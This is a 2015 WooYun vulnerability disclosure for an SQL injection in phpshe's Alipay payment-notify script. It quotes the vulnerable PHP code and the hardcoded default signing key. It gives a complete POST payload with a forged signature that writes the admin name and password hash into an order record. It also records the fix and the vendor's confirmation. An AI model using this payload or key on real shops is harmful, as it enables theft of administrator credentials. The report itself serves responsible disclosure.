当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092055

漏洞标题:phpshe 最新版 sql注入。

相关厂商:phpshe.com

漏洞作者: roker

提交时间:2015-01-15 17:40

修复时间:2015-04-15 17:42

公开时间:2015-04-15 17:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-17: 厂商已经确认,细节仅向厂商公开
2015-01-20: 细节向第三方安全合作伙伴开放
2015-03-13: 细节向核心白帽子及相关领域专家公开
2015-03-23: 细节向普通白帽子公开
2015-04-02: 细节向实习白帽子公开
2015-04-15: 细节向公众公开

简要描述:

rt

详细说明:

/include/plugin/payway/alipay/notify_url_db.php

$alipayNotify = new AlipayNotify($alipay_config);
$verify_result = $alipayNotify->verifyNotify();
//验证成功
if ($verify_result) {
//商户订单号
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
$info = $db->pe_select('order', array('order_id'=>$out_trade_no));
//该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款
if ($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
echo "success"; //请不要修改或删除
}
//该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
elseif ($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $trade_no;
$order['order_payway'] = 'alipay_db';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
}
echo "success"; //请不要修改或删除
}
//该判断表示卖家已经发了货,但买家还没有做确认收货的操作
elseif ($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
if ($info['order_state'] == 'paid') {
$order['order_state'] = 'send';
$order['order_stime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);


trade_no out_trade_no 都没有过滤,如何 verify_result为 ture?
默认安装时,

alipay_key = esfsclzgahxncgzi3bbe7giwa2ywxyv3


function md5Verify($prestr, $sign, $key) {
$prestr = $prestr . $key;
$mysgin = md5($prestr);
if($mysgin == $sign) {
return true;
}


当 sign等于 post的数据与key做md5加密 后的值时,即为ture。
前台买个商品,记下订单号

1.png


提交数据

1.jpg


sign=c716ce88d4e890cb28d5b87366873d8f&out_trade_no=1501150001&trade_no=0',user_address=(select concat(admin_name,0x3c,admin_pw) from pe_admin limit 1),user_phone='1&trade_status=WAIT_SELLER_SEND_GOODS


然后 查看订单,数据就出来咯~

1.jpg

漏洞证明:

1.jpg

修复方案:

安装时 ,随机生成 key。而不是默认值。

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-17 16:23

厂商回复:

感谢@roker 提供代码审计,已将漏洞提交到技术部

最新状态:

暂无